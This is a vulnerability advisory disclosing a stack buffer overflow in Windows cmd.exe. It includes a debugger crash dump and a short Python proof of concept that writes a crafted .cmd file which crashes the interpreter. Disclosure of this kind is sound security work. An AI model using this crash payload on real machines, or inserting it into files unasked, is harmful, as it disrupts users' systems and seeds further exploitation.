# Title: Microsoft Windows cmd.exe - Stack Buffer Overflow
# Author: John Page (aka hyp3rlinx)
# Date: 15/09/2021
# Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CMD.EXE-STACK-BUFFER-OVERFLOW.txt
# ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
cmd.exe is the default command-line interpreter for the OS/2, eComStation, ArcaOS, Microsoft Windows (Windows NT family and Windows CE family), and ReactOS operating systems.
[Vulnerability Type]
Stack Buffer Overflow
[CVE Reference]
N/A
[Security Issue]
Specially crafted payload will trigger a Stack Buffer Overflow in the NT Windows "cmd.exe" commandline interpreter. Requires running an already dangerous file type like .cmd or .bat. However, when cmd.exe accepts arguments using /c /k flags which execute commands specified by string, that will also trigger the buffer overflow condition.
E.g. cmd.exe /c <PAYLOAD>.
[Memory Dump]
(660.12d4): Stack buffer overflow - code c0000409 (first/second chance not available)
ntdll!ZwWaitForMultipleObjects+0x14:
00007ffb`00a809d4 c3 ret
0:000> .ecxr
rax=0000000000000022 rbx=000002e34d796890 rcx=00007ff7c0e492c0
rdx=00007ff7c0e64534 rsi=000000000000200e rdi=000000000000200c
rip=00007ff7c0e214f8 rsp=000000f6a82ff0a0 rbp=000000f6a82ff1d0
r8=000000000000200c r9=00007ff7c0e60520 r10=0000000000000000
r11=0000000000000000 r12=000002e34d77a810 r13=0000000000000002
r14=000002e34d796890 r15=000000000000200d
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
cmd!StripQuotes+0xa8:
00007ff7`c0e214f8 cc int 3
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc int 3
EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00007ff7c0e214f8 (cmd!StripQuotes+0x00000000000000a8)
ExceptionCode: c0000409 (Stack buffer overflow)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 0000000000000008
PROCESS_NAME: cmd.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_PARAMETER1: 0000000000000008
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000000000012d4
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SOFTWARE_NX_FAULT_EXPLOITABLE
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE
LAST_CONTROL_TRANSFER: from 00007ffafcfca9c6 to 00007ffb00a809d4
STACK_TEXT:
000000f6`a82fea38 00007ffa`fcfca9c6 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!ZwWaitForMultipleObjects+0x14
000000f6`a82fea40 00007ffa`fcfca8ae : 00000000`00000098 00000000`00000096 00000000`d000022d 00000000`d000022d : KERNELBASE!WaitForMultipleObjectsEx+0x106
000000f6`a82fed40 00007ffa`fe1d190e : 00000000`00000000 000000f6`a82ff1d0 00007ff7`c0e3e000 00007ffb`009f5a81 : KERNELBASE!WaitForMultipleObjects+0xe
000000f6`a82fed80 00007ffa`fe1d150f : 00000000`00000000 00000000`00000000 00000000`00000003 00000000`00000001 : kernel32!WerpReportFaultInternal+0x3ce
000000f6`a82feea0 00007ffa`fd05976b : 00000000`00000000 000000f6`a82ff1d0 00000000`00000004 00000000`00000000 : kernel32!WerpReportFault+0x73
000000f6`a82feee0 00007ff7`c0e26b6a : 00007ff7`c0e3e000 00007ff7`c0e3e000 00000000`0000200e 00000000`0000200c : KERNELBASE!UnhandledExceptionFilter+0x35b
000000f6`a82feff0 00007ff7`c0e26df6 : 000002e3`00000000 00007ff7`c0e10000 000002e3`4d796890 00007ff7`c0e6602c : cmd!_raise_securityfailure+0x1a
000000f6`a82ff020 00007ff7`c0e214f8 : 000002e3`4d77a810 00000000`00000000 00000000`00000002 00000000`0000200e : cmd!_report_rangecheckfailure+0xf2
000000f6`a82ff0a0 00007ff7`c0e2096f : 00000000`0000200c 000000f6`a82ff1d0 000000f6`a82ff1d0 00000000`0000200e : cmd!StripQuotes+0xa8
000000f6`a82ff0d0 00007ff7`c0e239a9 : 000002e3`4d76ff90 000002e3`4d76ff90 00000000`00000000 000002e3`4d76ff90 : cmd!SearchForExecutable+0x443
000000f6`a82ff390 00007ff7`c0e1fb9e : 00000000`00000000 000002e3`4d76ff90 ffffffff`ffffffff 000002e3`4d990000 : cmd!ECWork+0x69
000000f6`a82ff600 00007ff7`c0e1ff35 : 00007ff7`c0e4fbb0 000002e3`4d76ff90 00000000`00000000 00000000`00000001 : cmd!FindFixAndRun+0x3de
000000f6`a82ffaa0 00007ff7`c0e2277e : 00000000`00000002 000000f6`a82ffbb0 00000000`00000000 00000000`00000002 : cmd!Dispatch+0xa5
000000f6`a82ffb30 00007ff7`c0e26a89 : 00000000`00000001 00000000`00000000 00007ff7`c0e3fd78 00000000`00000000 : cmd!main+0x1fa
000000f6`a82ffbd0 00007ffa`fe1e1fe4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : cmd!wil::details_abi::ProcessLocalStorage<wil::details_abi::ProcessLocalData>::~ProcessLocalStorage<wil::details_abi::ProcessLocalData>+0x289
000000f6`a82ffc10 00007ffb`00a4efc1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
000000f6`a82ffc40 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
FOLLOWUP_IP:
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc int 3
SYMBOL_STACK_INDEX: 8
SYMBOL_NAME: cmd!StripQuotes+a8
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: cmd
IMAGE_NAME: cmd.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 0
STACK_COMMAND: ~0s ; kb
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_cmd.exe!StripQuotes
BUCKET_ID: X64_APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SOFTWARE_NX_FAULT_EXPLOITABLE_MISSING_GSFRAME_cmd!StripQuotes+a8
[Exploit/POC]
PAYLOAD=chr(235) + "\\CC"
PAYLOAD = PAYLOAD * 3000
with open("hate.cmd", "w") as f:
f.write(PAYLOAD)
[Network Access]
Local
[Video PoC URL]
https://www.youtube.com/watch?v=wYYgjV-PzD8
[Severity]
Low
[Disclosure Timeline]
Vendor Notification: Requires running dangerous file types already.
September 15, 2021 : Public Disclosure
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